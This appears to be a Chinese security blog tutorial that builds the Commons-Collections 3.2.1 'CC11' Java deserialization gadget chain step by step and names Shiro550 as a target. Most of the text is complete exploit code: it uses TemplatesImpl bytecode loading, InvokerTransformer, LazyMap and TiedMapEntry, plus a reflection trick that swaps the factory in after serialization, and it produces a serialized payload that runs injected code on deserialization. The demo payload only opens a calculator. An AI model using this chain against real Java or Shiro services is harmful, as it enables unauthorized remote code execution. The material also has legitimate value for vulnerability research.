赞
踩
这条链子的主要作用是为了可以在 Commons-Collections 3.2.1 版本中使用,而且还是无数组的方法。这条链子适用于 Shiro550漏洞
CC2 + CC6的结合体
这是CC2的流程图,我们取的是后面那三个链子,但是由于CC2 只能在 commons-collections4.0 版本中使用,所以前半段链用不了
首先我们从 defineClass方法的调用去向上寻找链子
可以发现 newTransformer 方法是public,可控的,可以调用 getTransletInstance方法进行实例化
构造链:
TemplatesImpl.newTransformer()
-->
defineClass->newInstance
调用 TemplatesImpl类的 newTransformer方法
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
因为调用 getTransletInstance方法需要满足这个if判断
所以我们需要构造代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
}
}
我们需要满足第二个if判断才可以满足初始化
点进去 defineTransletClasses 方法
可以发现 _bytecodes 如果不为空,就进入下面的代码段。
从而构造exp代码段:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class C11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); //在readObject中找,因为该字段不身不参加序列化 Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //初始化加载类 templates.newTransformer(); } }
运行之后命令执行成功
InvokerTransformer这个链子在后面会与CC6连接的
CC6的链子流程:
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
TiedMapEntry 类中的getVAlue调用了 LazyMap类的 get方法
继续拼接exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class C11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //初始化加载类 // templates.newTransformer(); //CC6的开始 Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null); tiedMapEntry.getValue(); } }
可以看见成功弹出计算器
可以看见 TiedMapEntry类的hashCode()方法中调用 getValue()方法
在Java反序列化中 找到 hashCode()之后的链子几乎都是这个
xxx.readObject()
HashMap.put() --自动调用--> 后续利用链.hashCode()
所以我们可以构造exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class C11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //初始化加载类 // templates.newTransformer(); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null); // tiedMapEntry.getValue(); hashCode代替 lazymap.put(tiedMapEntry,null); } }
可以看见计算器成功弹出
如果我们在序列化执行命令前,修改这行代码的chainedTransformer,它就不能执行了命令了
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
-->修改为
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
因为这个字段名 factory 是可控的
我们可以等序列化执行代码后,通过反射改回 factory的值为chainedTransformer,反序列化的时候就可以执行了
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
在 LazyMap的get方法中可以看见,如果key是false才会执行
所以我们需要修改代码,在xxx.put()后面添加这一行代码:
lazymap.remove(null);
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class C11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //初始化加载类 // templates.newTransformer(); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null); // tiedMapEntry.getValue(); hashCode代替 lazymap.put(tiedMapEntry,null); lazymap.remove(null); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
可以看见反序列化后命令执行成功
修改有数组的CC11代码如下:
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
--->修改为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
修改的代码:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
最终exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class C11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //初始化加载类 // templates.newTransformer(); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates); // tiedMapEntry.getValue(); hashCode代替 lazymap.put(tiedMapEntry,null); lazymap.remove(templates); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,invokerTransformer); serialize(hashMap); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
可以看见反序列化的时候计算器成功弹出
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。